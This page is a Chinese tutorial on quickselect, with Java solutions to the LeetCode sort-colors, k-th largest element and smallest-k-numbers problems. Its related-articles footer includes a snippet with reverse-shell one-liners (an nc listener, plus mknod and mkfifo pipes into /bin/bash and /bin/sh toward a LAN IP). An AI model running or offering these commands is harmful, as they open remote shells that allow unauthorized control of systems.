快速排序题目SelectK问题(力扣75.颜色分类、力扣215.数组中的第K个最大元素、面试题17.14最小K个数)

力扣75.颜色分类

给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums ,原地对它们进行排序,使得相同颜色的元素相邻,并按照红色、白色、蓝色顺序排列。

我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。

必须在不使用库内置的 sort 函数的情况下解决这个问题。

class Solution { //时间复杂度为O(n)//其实,变量 zero 相当于我们在三路快速排序算法中的 lt;//变量 two 相当于我们在三路快速排序算法中的 gt。public void sortColors(int[] nums) {// nums[0...zero] == 0, nums[zero + 1, i] == 1, nums[two, n - 1] == 2// 定义三个指针:zero、i、two,分别表示0的最右边界、当前处理的元素、2的最左边界int zero = -1, i = 0, two = nums.length;while(i < two){// 当前处理元素的指针小于2的最左边界时,继续循环// 如果当前元素为0,将其与zero右边的元素交换,并将zero和i都向右移动一位if(nums[i] == 0){zero++;swap(nums,zero,i);i++;}// 如果当前元素为2,将其与two左边的元素交换,并将two向左移动一位else if (nums[i] == 2){ // 注意此时不需要i右移,因为交换后的元素还需要继续判断two --;swap(nums, i, two);}else{ //如果当前元素是1,不需要操作,直接继续向右遍历i ++;}}}// 交换数组中指定位置的两个元素private void swap(int[] nums, int i, int j){int t = nums[i];nums[i]= nums[j];nums[j] = t;}
}

关于SelectK问题:即在一个无序数组中,找出第K小(大)的元素

我们首先来封装一个 selectK 的方法。封装好了这个方法以后,这三个问题都可
以快速求解。
我们的 selectK 的接口是这样的:

// 在 arr[l...r] 的范围里求解整个数组的第 k 小元素并返回
// k 是索引,即从 0 开始计算
int selectK(int[] arr, int l, int r, int k, Random rnd)

因为我们的 partition 过程需要随机选取标定点,所以我们还需要传一个 Random(快排的优化)
类的对象 rnd。
定义好函数签名以后,下面我们来书写相应的逻辑。

  • 首先,selectK 的过程,我们就是要执行一遍 partition。在这里,我使用双路快速排序的 partition。(partition属于核心代码块要掌握)
  • 注意,因为在这个问题中,我们肯定我们处理的数据类型是 int,所以,在代码中,我不再使用泛型:
private int partition(int[] arr, int l, int r, Random rnd){// 生成 [l, r] 之间的随机索引int p = l + rnd.nextInt(r - l + 1);swap(arr, l, p);// arr[l+1...i-1] <= v; arr[j+1...r] >= vint i = l + 1, j = r;while(true){while(i <= j && arr[i] < arr[l])i ++;while(j >= i && arr[j] > arr[l])j --;if(i >= j) break;swap(arr, i, j);i ++;j --;
}swap(arr, l, j);return j;
}
private void swap(int[] arr, int i, int j){int t = arr[i];arr[i] = arr[j];arr[j] = t;
}

有了 partition,我们的 selectK 的主题逻辑非常简单。

首先,进行 partition,假设结果是 p。我们只需要将 k 和 p 做比较。

  • 如果 k == p,直接返回 arr[p] 即可;
  • 如果 k < p,在 arr[l, p - 1] 的范围继续找,即调用 selectK(arr, l, p - 1, k, rnd);
  • 如果 k > p,在 arr[p + 1, r] 的范围继续找,即调用 selectK(arr, p + 1, r, k, rnd);

就有了下面的代码:

private int selectK(int[] arr, int l, int r, int k, Random rnd){
int p = partition(arr, l, r, rnd);
if(k == p) return arr[p];
if(k < p) return selectK(arr, l, p - 1, k, rnd);return selectK(arr, p + 1, r, k, rnd);
}

这样,我们就完成了 select K 的过程。是不是非常简单!

下面,我们用我们写的 select K,先来解决 Leetcode 上第 215 号问题:

这个问题是求第 k 大元素,但是我们的 selectK 求得是第 k 小元素。怎么办?
非常简单,我们只需要在调用 select K 之前,将求第 k 大元素的这个 k,转换成
对应求的是第几小元素对应的索引就好了。
按照题目描述,如果 k 是 1,对应就是要找最大元素,那么相应的我们的
select K 的索引,就是 nums.length - 1。(如果10个数,K=1,第一个最大的数,就是SelectK索引为9的那个的元素)
如果 k 是 nums.length,其实就是求最小元素,那么相应的我们的 selectK 的
索引,就是 0。  (如果10个数,第10个最大的数,就是SelectK索引为0的那个的元素,最小值)
他们之间的转换关系是 nums.length - k。

力扣215.数组中的第K个最大元素 

给定整数数组 nums 和整数 k,请返回数组中第 k 个最大的元素。

请注意,你需要找的是数组排序后的第 k 个最大的元素,而不是第 k 个不同的元素。

你必须设计并实现时间复杂度为 O(n) 的算法解决此问题。

import java.util.Random; //导入Random包
class Solution {public int findKthLargest(int[] nums, int k) {//只有两行,其他的内容全部复用我们上面实现的 selectK,是不是很酷?//我们的SelectK是第K最小元素,所以这里findKthLargest传入下标要处理一下//转换关系是 nums.length - kRandom rnd = new Random();return selectK(nums, 0, nums.length - 1, nums.length - k, rnd);}//有了 partition,我们的 selectK 的主题逻辑非常简单。private int selectK(int[] arr, int l, int r, int k, Random rnd){//首先,进行 partition,假设返回值结果是 p。我们只需要将 k 和 p 做比较。int p = partition(arr, l, r, rnd); //如果 k == p,直接返回 arr[p] 即可;if(k == p) return arr[p]; //如果 k < p,在 arr[l, p - 1] 的范围继续找,即调用 selectK(arr, l, p - 1, k, rnd);if(k < p) return selectK(arr, l, p - 1, k, rnd); //如果 k > p,在 arr[p + 1, r] 的范围继续找,即调用 selectK(arr, p + 1, r, k, rnd);return selectK(arr, p + 1, r, k, rnd);
}private int partition(int[] arr, int l, int r, Random rnd){// 生成 [l, r] 之间的随机索引int p = l + rnd.nextInt(r - l + 1);swap(arr, l, p);// arr[l+1...i-1] <= v; arr[j+1...r] >= vint i = l + 1, j = r;while(true){while(i <= j && arr[i] < arr[l])i ++;while(j >= i && arr[j] > arr[l])j --;if(i >= j) break;swap(arr, i, j);i ++;j --;}swap(arr, l, j);return j;}//数组指定索引,两数交换private void swap(int[] arr, int i, int j){int t = arr[i];arr[i] = arr[j];arr[j] = t;}
}

面试题17.14最小K个数&&剑指offer40&&LCR159.库存管理

 

下面,我们解决《剑指 Offer》上的 40 号问题,最小的 k 个数: 
https://leetcode-cn.com/problems/zui-xiao-de-kge-shu-lcof/ 
对于这个问题,我们只要使用上面的 selectK,找到第 k 小的数。
然后,selectK 的过程由于调用了 partiton,所以会调整整个数组的内容。
此时,这个第 k 小的 数的前面所有元素,就是整个数组最小的 k 个数字了。
 

这里要注意,我们求的第 k 小的数字,对应的索引是 k - 1,因为题目给的下标k从0开始

所以我们调用 selectK 的时候,需要传入的索引参数是 k - 1。 
另外,对于这个问题,k 可能取 0,此时,我们不需要执行 selectK,直接返回一 
个含有 0 个元素的new int[] 就好了。

怎么样,是不是很简单?具体过程如下:

import java.util.Arrays;
import java.util.Random;
class Solution {public int[] getLeastNumbers(int[] arr, int k) {if(k == 0) return new int[0];Random rnd = new Random();selectK(arr, 0, arr.length - 1, k - 1, rnd);
//Arrays.copyOf()是java.util.Arrays 类中的一个方法。它会创建一个指定长度的新数组,并将原始数组中的元素复制到新数组中。return Arrays.copyOf(arr, k); }private int selectK(int[] arr, int l, int r, int k, Random rnd){int p = partition(arr, l, r, rnd);if(k == p) return arr[p];if(k < p) return selectK(arr, l, p - 1, k, rnd);return selectK(arr, p + 1, r, k, rnd);}private int partition(int[] arr, int l, int r, Random rnd){// 生成 [l, r] 之间的随机索引int p = l + rnd.nextInt(r - l + 1);swap(arr, l, p);// arr[l+1...i-1] <= v; arr[j+1...r] >= vint i = l + 1, j = r;while(true){while(i <= j && arr[i] < arr[l])i ++;while(j >= i && arr[j] > arr[l])j --;if(i >= j) break;swap(arr, i, j);i ++;j --;}swap(arr, l, j);return j;}private void swap(int[] arr, int i, int j){int t = arr[i];arr[i] = arr[j];arr[j] = t;}
}

如果让调用java里库的方法,先 排序 后取值就更容易,不过  有点easy,面试时可能不让用

//时间复杂度:O(nlog⁡n),其中n是数组arr的长度。算法的时间复杂度即排序的时间复杂度。
//空间复杂度:O(log⁡n),排序所需额外的空间复杂度为 O(log⁡n)。
class Solution {public int[] smallestK(int[] arr, int k) {int[] vec = new int[k];Arrays.sort(arr); //调用Array.sort方法,给arr从小到大排序,然后取前k个数for (int i = 0; i < k; ++i) {vec[i] = arr[i];}return vec; //返回对应数组}
}
我在这个问题下提交如上的代码,大概需要 7ms 左右的时间:
但是,使用我们的 selectK 的方式,大概 2ms 就能搞定。
其实,O(n) 的复杂度和 O(nlogn) 的复杂度,在大多数时候,尤其是面试或者算
法竞赛中,差距并不大。但是,当数据规模上来以后,还是能看出来的。如果
有兴趣的同学,可以在自己的计算机上,测试一下对于 100 万甚至是 1000 万级
别的数据规模,看看而这是不是差距更明显?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826805.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从零开始的vscode配置及安装rust教程

配置vscode的rust环境 下载安装vscodemac 环境1. 下载安装rust2. 配置 mac vscode环境3. 创建一个测试项目 windows 环境1. 安装c运行环境2. 安装配置rustup3. 配置windows vscode环境4. 创建一个测试项目 下载安装vscode 1.官网应用程序下载 vscode&#xff1a;https://code.v…

注意力机制中多层的作用

1.多层的作用 在注意力机制中&#xff0c;多层的作用通常指的是将注意力机制堆叠在多个层上&#xff0c;这在深度学习模型中被称为“深度”或“多层”注意力网络。这种多层结构的作用和实现过程如下&#xff1a; 1. **逐层抽象**&#xff1a;每一层都可以捕捉到输入数据的不同…

在ubuntu20.04下迁移anaconda的目录,试验不行后,换成软连接

一、原因 随着不断的搭建不同的算法环境&#xff0c;原本在固态硬盘上安装的anaconda上占用空间越来越多。导致可用的固态硬盘空间越来越少&#xff0c;又因安装的环境太多&#xff0c;重新搭建比较费时费力。有没有直接将当前已经搭建好环境的anaconda 迁移到另外的目录呢&…

SAP 销售业务中免费货物的会计核算

此博文主要介绍SAP销售业务中免费货物解决方案中&#xff0c;免费货物的会计核算。如果需要进一步了解SAP SD 销售与分销业务中&#xff0c;免费货物的标准解决方案概览&#xff0c;可先了解本博客博文&#xff1a;SAP销售与分销中的免费货物解决方案相关文章&#xff1a; htt…

Python 全栈安全(一)

原文&#xff1a;annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 多年前&#xff0c;我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Pyt…

【设计模式】单例模式|最常用的设计模式

写在前面 单例模式是最常用的设计模式之一&#xff0c;虽然简单&#xff0c;但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。 单例模式介绍 简介 单例模式保证一个类仅有一个实例&#xff0c;并提供一个访问它的全局访问点。 使用场景&#…

DC学习笔记

视频 数字逻辑综合工具实践 DC 01_哔哩哔哩_bilibili 一、DC工作模式&#xff08;此小节为搬运内容&#xff09; 原链接&#xff1a;Design_Compiler User Guide 随手笔记&#xff08;9&#xff09;Using Floorplan Information - 知乎 DC拥有四种工作模式&#xff1a; 工…

项目7-音乐播放器6+评论区

1.准备前端界面 前端小白&#xff1a;怎么为你的网页增加评论功能&#xff1f;&#xff08;一&#xff09;_为网页添加评论区怎么弄-CSDN博客 参考的上述文章的前端代码 我们从上述前端图片知道&#xff0c;我们数据库需要准备的字段&#xff1a; id,commentuserName,coomen…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一&#xff0c;与HTML和CSS一同工作&#xff0c;用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性&#xff0c;可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…

Redis中的慢查询日志(一)

慢查询日志 概述 Redis的慢查询日志功能用于记录执行时间超过给定时长的命令请求&#xff0c;用户可以通过这个功能产生的日志来 监视和优化查询速度。服务器配置有两个和慢查询日志相关的选项: 1.slowlog-log-slower-than选项指定执行时间超过多少微妙(1秒1000 000微妙)的命…

Sulley入门教学——简介、安装(Win7、VMware)

1、简介 Sulley 是由 Pedram Amini 和 Aaron Portnoy 开发的开源工具。它以 Python 编写&#xff0c;可以轻松地在不同平台上部署和使用。Sulley 提供了一个灵活且功能强大的框架&#xff0c;允许用户定义协议消息的结构、字段类型、边界条件和模糊测试策略。用户可以使用 Sul…

【Redis】List 数据类型

文章目录 常用命令lpush & lpushxrpush & rpushxlrange & lpop & rpoplindex & linsertllen 阻塞版本的命令内部编码 列表类型是⽤来存储多个有序的字符串&#xff0c;⼀个列表最多可以存储 2^32 - 1 个元素&#xff0c;允许有重复的元素。 列表在两端都可…

Qt基础之四十六:Qt界面中嵌入第三方程序的一点心得

本文主要讲解QWidget和QWindow的区别,以及如何在QWidget中嵌入第三方程序,并完美解决在QWidget中嵌入某些程序(比如Qt程序)时出现的白边问题。 下面是嵌入QQ音乐的样子,这首歌还不错。 先用spy++查看QQ音乐的窗口信息,如果安装了Visual Studio,工具菜单里自带spy++ 然后…

总分420+专业140+哈工大哈尔滨工业大学803信号与系统和数字逻辑电路考研电子信息与通信工程,真题,大纲,参考书。

考研复习一路走来&#xff0c;成绩还是令人满意&#xff0c;专业803信号和数电140&#xff0c;总分420&#xff0c;顺利上岸&#xff0c;总结一下自己这一年复习经历&#xff0c;希望大家可以所有参考&#xff0c;这一年复习跌跌拌拌&#xff0c;有时面对压力也会焦虑&#xff…

Mac电池管理软件 Batteries for Mac v2.2.9直装版

Batteries for Mac&#xff0c;作为一款专为Mac用户设计的电池管理软件&#xff0c;以其强大的功能和智能的监测机制&#xff0c;为用户提供了便捷、高效的电池使用体验。 Batteries for Mac(Mac电池)v2.2.9直装版下载 首先&#xff0c;Batteries for Mac具备实时电池监测功能&…

【动态规划 状态机dp 性能优化】3098. 求出所有子序列的能量和

本文涉及知识点 动态规划 状态机dp 性能优化 LeetCode3098. 求出所有子序列的能量和 给你一个长度为 n 的整数数组 nums 和一个 正 整数 k 。 一个子序列的 能量 定义为子序列中 任意 两个元素的差值绝对值的 最小值 。 请你返回 nums 中长度 等于 k 的 所有 子序列的 能量和…

【Pytorch】Yolov5中CPU转GPU过程报错完善留档归纳

Yolov5 从CPU转GPU Python多版本切换 Conda包处理 文章目录 Yolov5 从CPU转GPU Python多版本切换 Conda包处理1.Pytorch套件中存在版本不匹配2.numpy停留在3.8没跟上pytorch2.2.23.ModuleNotFoundError: No module named pandas._libs.interval4.ImportError: cannot imp…

Windows使用freeSSHd搭建sftp服务器

一、安装 1、运行freeSSHd.exe&#xff08;最好以管理员方式运行&#xff09; 2、选择安装位置 3、选择全部安装 4、是否创建开始启动栏快捷入口 5、是否创建桌面快捷方式 6、安装 7、安装完成&#xff0c;点击close 8、安装私钥 9、是否要安装为服务 10、全部安装完成 二、配…